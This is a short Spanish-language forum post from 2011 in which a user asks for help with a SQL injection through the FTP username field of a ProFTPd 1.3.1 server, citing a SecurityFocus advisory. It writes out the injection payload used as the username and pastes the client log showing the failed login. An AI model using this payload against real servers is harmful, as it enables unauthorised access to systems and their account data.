Título: Ayuda con injection sql por usuario ftp Publicado por: Chelorc en 16 Enero 2011, 06:29 am Hola, el servidor ftp usa ProFTPd 1.3.1,
http://www.securityfocus.com/bid/33722/exploit Segun lo que dice ahi tengo que poner en el cliente ftp (uso Filezilla): usuario %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; -- pass: 1 y le doy conectar y:. Respuesta: 220 ProFTPD 1.3.1 Server (ProFTPD) [xxxx] Comando: USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; -- Respuesta: 331 Password required for %') Comando: PASS * Respuesta: 530 Login incorrect. Error: Error crítico Error: No se pudo conectar al servidor |